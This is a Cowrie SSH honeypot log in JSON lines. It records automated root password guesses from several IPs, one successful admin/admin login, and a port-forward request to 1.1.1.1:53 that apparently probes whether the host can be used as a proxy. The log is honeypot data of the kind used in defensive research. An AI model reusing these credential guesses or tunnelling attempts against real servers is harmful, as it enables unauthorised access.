{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:14.125792Z","src_ip":"43.163.95.54","session":"73b23dc47f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:15.134651Z","src_ip":"80.94.92.184","session":"6be04ffa9073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":51836,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e8f70e37a2","protocol":"ssh","message":"New connection: 103.173.227.57:51836 (159.203.135.109:22) [session: a1e8f70e37a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:24.934406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:24.939748Z","src_ip":"103.173.227.57","session":"a1e8f70e37a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:25.179448Z","src_ip":"103.173.227.57","session":"a1e8f70e37a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avangard","message":"login attempt [root/avangard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:25.902209Z","src_ip":"103.173.227.57","session":"a1e8f70e37a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:27.144615Z","src_ip":"103.173.227.57","session":"a1e8f70e37a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":57706,"dst_ip":"10.17.0.5","dst_port":22,"session":"5324cac08f5d","protocol":"ssh","message":"New connection: 103.98.149.87:57706 (10.17.0.5:22) [session: 5324cac08f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:34.617235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:34.623237Z","src_ip":"103.98.149.87","session":"5324cac08f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:34.842982Z","src_ip":"103.98.149.87","session":"5324cac08f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michael","message":"login attempt [root/michael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:35.747006Z","src_ip":"103.98.149.87","session":"5324cac08f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:36.997244Z","src_ip":"103.98.149.87","session":"5324cac08f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":41602,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e43567a2870","protocol":"ssh","message":"New connection: 62.133.63.178:41602 (159.203.135.109:22) [session: 0e43567a2870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:51.014894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:51.019710Z","src_ip":"62.133.63.178","session":"0e43567a2870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:51.139832Z","src_ip":"62.133.63.178","session":"0e43567a2870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31415926","message":"login attempt [root/31415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:51.503730Z","src_ip":"62.133.63.178","session":"0e43567a2870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:52.626215Z","src_ip":"62.133.63.178","session":"0e43567a2870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43310,"dst_ip":"10.17.0.5","dst_port":22,"session":"236d853d4fa0","protocol":"ssh","message":"New connection: 87.251.64.176:43310 (10.17.0.5:22) [session: 236d853d4fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:54.179735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:54.184383Z","src_ip":"87.251.64.176","session":"236d853d4fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:54.281424Z","src_ip":"87.251.64.176","session":"236d853d4fa0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:54.573999Z","src_ip":"87.251.64.176","session":"236d853d4fa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:54.673468Z","session":"236d853d4fa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:54.772678Z","src_ip":"87.251.64.176","session":"236d853d4fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:54.874175Z","src_ip":"87.251.64.176","session":"236d853d4fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":59164,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9b28775e625","protocol":"ssh","message":"New connection: 124.156.196.131:59164 (159.203.135.109:22) [session: b9b28775e625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:55.152373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:55.158972Z","src_ip":"124.156.196.131","session":"b9b28775e625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:55.398492Z","src_ip":"124.156.196.131","session":"b9b28775e625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@2026","message":"login attempt [root/Hello@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:56.384598Z","src_ip":"124.156.196.131","session":"b9b28775e625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:57.626505Z","src_ip":"124.156.196.131","session":"b9b28775e625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":34938,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d03c85de1a","protocol":"ssh","message":"New connection: 103.75.183.219:34938 (10.17.0.5:22) [session: c8d03c85de1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:05.193221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:05.198633Z","src_ip":"103.75.183.219","session":"c8d03c85de1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:05.441932Z","src_ip":"103.75.183.219","session":"c8d03c85de1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"i123456","message":"login attempt [root/i123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:06.170933Z","src_ip":"103.75.183.219","session":"c8d03c85de1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:07.417682Z","src_ip":"103.75.183.219","session":"c8d03c85de1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":54162,"dst_ip":"159.203.135.109","dst_port":22,"session":"345a9d513ff4","protocol":"ssh","message":"New connection: 80.66.85.226:54162 (159.203.135.109:22) [session: 345a9d513ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:15.870931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:15.879821Z","src_ip":"80.66.85.226","session":"345a9d513ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:15.973778Z","src_ip":"80.66.85.226","session":"345a9d513ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"128500","message":"login attempt [root/128500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:16.265331Z","src_ip":"80.66.85.226","session":"345a9d513ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:17.361830Z","src_ip":"80.66.85.226","session":"345a9d513ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":35028,"dst_ip":"159.203.135.109","dst_port":22,"session":"243a6c22ad05","protocol":"ssh","message":"New connection: 43.163.95.54:35028 (159.203.135.109:22) [session: 243a6c22ad05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:23.287514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:23.292295Z","src_ip":"43.163.95.54","session":"243a6c22ad05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:23.529300Z","src_ip":"43.163.95.54","session":"243a6c22ad05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@","message":"login attempt [root/P@ssw0rd@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:24.510895Z","src_ip":"43.163.95.54","session":"243a6c22ad05","protocol":"ssh"}
